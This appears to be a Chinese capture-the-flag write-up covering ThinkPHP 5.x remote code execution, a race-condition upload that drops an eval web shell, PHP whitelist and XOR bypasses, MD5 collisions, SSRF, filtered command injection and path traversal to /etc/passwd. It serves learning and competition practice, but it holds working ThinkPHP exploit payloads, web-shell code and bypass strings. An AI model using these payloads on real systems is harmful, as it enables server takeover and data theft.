真正的hacker
进去以后一眼就能看出来,是ThinkphpV5漏洞,只是版本不能确定,一开始考核的时候是,抓包看了php的版本,是7.23,是手注了几个尝试出来的(后面才发现报错信息里面就有)。漏洞版本是5.0.23
这里有poc和对应的版本GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合
关于怎么判断和漏洞介绍在后面,这里尝试pwd命令成功,说明存在注入点,直接cat命令可以获得第一个静态flag
这里给了提示,是说要getshell,这里已经否认了反弹shell的情况,先尝试用base64加密以后尝试夺权,没有提示,说明可能上传成功了
访问
说明这个木马没有传到服务器上,所以说明这个页面可能并不是注入点,后面通过上面的rce查看了目录,发现了有一个uploads目录,很明显的信息,尝试把木马文件写入这个目录下
访问以后,写入成功,直接蚁剑连接
拿到flag
你能跟上我的speed吗
很离谱的文件上传,因为就没有过滤的,但是上传文件以后,不会弹出上传成功那些,而且不管怎么样,都会进入这个界面
结合这里的speed,考虑是条件竞争漏洞,
所以这里的木马文件编写如下
<?php $op=fopen("zzc.php","a+");fwrite($op,'<?php @eval($_POST[1]);?>');fclose($op);echo(zzcnb) ?>
下面是这个文件的具体解析
$op = fopen("zzc.php", "a+");
fopen("zzc.php", "a+")
:这行代码以读写追加模式打开名为zzc.php
的文件。如果文件不存在,则会尝试创建它。如果文件已经存在,数据将会追加到文件末尾。$op
是一个文件句柄,用于后续的读写操作。
fwrite($op, '<?php @eval($_POST[1]);?>');
-
fwrite($op, '<?php @eval($_POST[1]);?>');
:这行代码向zzc.php
文件写入一段 PHP 代码。这段代码是:<?php @eval($_POST[1]);?>
-
@eval($_POST[1])
:eval
是一个 PHP 函数,用于执行作为参数的 PHP 代码。$_POST[1]
是从 HTTP POST 请求中获取的参数。这意味着任何通过 POST 请求发送到zzc.php
的1
参数的内容将被执行。@
符号用于抑制错误消息的显示。简单来说,这段代码创建了一个 Web Shell,允许攻击者通过发送 POST 请求来执行任意 PHP 代码。这样,攻击者可以通过向
zzc.php
发送特定的 POST 数据来远程控制服务器。
fclose($op);
- 这行代码关闭了之前打开的文件句柄
$op
,释放了系统资源。
echo(zzcnb);
echo(zzcnb);
:这行代码输出字符串zzcnb
。zzcnb
是一个普通的字符串,而不是 PHP 变量或函数。在页面上,它将显示为zzcnb
。
总而言之 ,这个 PHP 文件的主要作用是创建一个新的 PHP 文件 zzc.php
,并在其中写入一段危险的 PHP 代码。这段代码允许攻击者通过 POST 请求执行任意 PHP 代码。因此,zzc.php
文件实际上是一个 Web Shell,用于远程执行代码。文件最后输出一个字符串 zzcnb
,这是为了验证代码执行是否成功。
打开bp,抓取两个包,一个是上传时的包,一个是访问木马路径的包,并且放到Intruder
爆破模块,进行爆破
配置好端口,ip等等
选择Null payloads
并勾选无限重放,之后就是自动重放过程,不断访问上传的zzc.php
文件,一旦有200
状态码,说明条件竞争成功。
就像这样,监视上传的php文件,发现状态码为200,而且回显有木马中插入的内容“zzcnb”
访问后木马页面
回显成功,蚁剑连接
连接成功以后,直接cat命令
也可以在当前页面找到木马文件
misc大杂烩
给了图片,binwalk以后没有发现有隐藏文件那些 ,文件头也没有相关的文件信息那些。所以这里猜测隐写。尝试盲水印,找到了第一段flag
flag2给的是一个word文件,还是老样子,ctrl a 全选,选字体,选颜色,除去文字隐写,得到flag2
flag3很明显,base64转图片,解码出来就是一个二维码
解码得到flag 3
flag4是一段音频,直接丢deepsound,得到flag4
5给的提示
很明显的掩码爆破,脚本写了没跑出来
后面是用ARCHPR爆破出来的 一开始设了三位,跑不出来,改成两位以后
解密得到
因为这题本来就是国赛的的变式,所以这里也是很明显的atbash
得到flag5
考点六
文件没有格式,丢到010里面,发现最后有一个kp联想到了压缩包文件头pk头,但是是反的,而且文件无法检测格式,所以这里也很自然的想到了16进制倒序
py脚本编写(已标注思路,这里就不再赘述)
修改以后打开,就能读到里面的照片和相关flag信息
拼在一起
得到flag
学习高数
根据提示
扫描
访问来到这个php界面
分析一下限制条件:
1.参数c字符数不能超过60个字符
2.不能含有空格,\t,\r,\n,\,单双引号,中括号
3.使用的单词/函数必须在白名单中
限制其实比较严,那么就看看我们可以使用的一些符号 $ ( ) { } = ; ^ 等,同时我们需要知道的是PHP中函数名也是字符串,可以当作变量名来使用,例如 $pi、$cos 都是合法变量名。
从可以使用的符号中,我们考虑的思路可以是利用数学函数构造变量拼接成动态函数执行命令,也可以考虑使用异或来拼接出函数名。
总之重点就在于凑出函数或者是可以执行的命令。
前置知识点
PHP函数:
scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)动态(可变)函数
PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数,例如: $a = "
assert
"; $a."(...)";PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 可变函数不能用于例如 eval() , echo , print , unset() , isset() , empty() , include() , require() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
php中函数名默认为字符串
例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择
引用自https://www.cnblogs.com/wangtanzhi/p/12246731.html
利用数学函数运算得到函数和命令
先说第一种思路,我们可以利用数学函数来运算得到函数名和命令,使用动态函数来执行命令
拼凑出exec、system等命令执行函数直接RCE
/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898))) //分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*') /index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi)) //分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')
利用异或得到函数名和命令
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
将得到的结果放入记事本搜索需要构造的字符
$pi=_GET->$pi=(is_nan^(6).(4)).(tan^(1).(5))
$$pi->$_GET
由于[]被禁用所以可以用{}
完整payload:
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
得到flag
ezezssrf
四层绕过
第一关:md5弱比较
yunxi[]=1&wlgf[]=2
第二关: md5强比较
需要在bp中传参,在hackbar里不行,因为字符长度太长
yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三关:ssrf(回环地址,即要检测到那句中文)
GLG=http://blog.csdn.net@127.0.0.1
第四关:无回显命令执行
运用>写入文件
我的payload:
`ca\t$IFS$9/fla\g$IFS>1.txt`
解释:用\截断关键字,用$IFS代替空格,用$9做垃圾数据。读取flag保存到1.txt
完整的,访问1.txt得到flag
misc1
流量分析
dns流量,协议分级以后,发现有一些包的长度是差不多的,后面在UDP payload中找到了相关flag信息
统计时间筛选长度,把损毁的信息位置根据提示换成{}和-
整理以后搓出了flag
mmmmmd5
解出前面几个,分离出来,丢批量解md5的网站里面,删除空格那些,整理内容
得到flag,但是这里的-和{}在失败案例里,要统计以后再整理
小小py
这里进去以后呢就是提示,有flag的照片可以买,但是钱不够,这里尝试了修改前端,但是不是前端的逻辑漏洞,但是抓包发现,下载图片时有参数,即下载路径
利用这个路径查看文件,发现不能直接回显,用目录穿越查看一下/etc/passwd发现成功回显
查看当前进程运行的环境变量/proc/self/environ,发现flag
知识点:
ThinkphpV5:
ThinkPHP 5.x 主要分为 5.0.x 和 5.1.x 两个系列,这两个系列略有不同,在复现漏洞时也有一定的区别
在 ThinkPHP 5.x 中造成rce有两种原因:
1.路由对控制器名控制不严谨导致的RCE;
2.Request类对调用方法控制不严加上变量覆盖导致RCE
先记录下这两个的主要POC
-
控制器名未过滤导致rce
function
为反射调用的函数,vars[0]
为传入的回调函数,vars[1][]
为参数为回调函数的参数
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
-
核心类 Request 远程代码漏洞
filter[]
为回调函数,get[]
或route[]
或server[REQUEST_METHOD]
为回调函数的参数。执行回调函数的函数为call_user_func()
核心版需要开启debug模式
POST /index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_method=__construct&method=get&filter[]=system&get[]=pwd
GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合
条件竞争漏洞:
0x01 条件竞争介绍
1.1 是什么
条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug
。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争。
1.2产生条件
并发、共享对象、改变对象是条件竞争产生的必要条件,Wiki
上有详细介绍:
0x02 漏洞发生场景
2.1 银行提现
当我们在手机端进行提现操作时,账户余额为500
元,向服务器发送提现500
元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500
元的请求会发生什么呢?条件竞争利用成功的结果就是多了500
大洋。
2.2 网站文件上传
网络安全如此重视的当今社会,怎么会有网站允许被不法分子上传木马等有威胁性的文件呢,开发人员通过检测文件后缀名,设置白名单黑名单各种方式判断用户上传文件是否为危险文件,一旦发现,就会立马发现。同样的,若是我们在判断和删除事件这一时间差内进行一些操作岂不是也会成功?
2.3 Dos攻击
渗透测试中我们常遇到的重放攻击与之类似,由于没有频率限制,在一些提交页面可以反复的进行数据插入,导致最终服务器资源耗尽,平台无法正常运作。
无回显函数
RCE漏洞基础及CTF绕过_长度限制为7的rce绕过-CSDN博客
[CTF]命令执行无回显利用_ctf无回显命令执行-CSDN博客
HP执行系统命令的4个方法 :
system 函数:system 函数执行系统命令,并将输出直接打印到标准输出。它的返回值是命令的最后一行输出或者返回状态码(命令成功执行返回0)。
shell_exec 函数:shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回,而不是打印到标准输出。如果命令没有输出,则返回空字符串。
exec 函数:exec 函数执行系统命令,并将输出存储到一个数组中,每一行命令输出作为数组的一个元素。它的返回值是命令的最后一行输出或者返回状态码。
passthru 函数:passthru 函数执行系统命令,并直接将命令的输出发送到标准输出。它不会返回任何输出结果,而是直接将输出显示在屏幕上。
这里既然遇到了无回显这个函数,你第一印象是不是NC反弹shell?这样确实可以,但是也太麻烦了些,使用写入文件方式可以迅速解决。
在PHP中 ">" 是表示把什么写入什么文件的意思。
比如这道题目,既然无回显,那我就把它写进一个文件,然后访问这个文件不就可以了
?cmd= tac fla???hp>1.txt(写进1.txt文件里)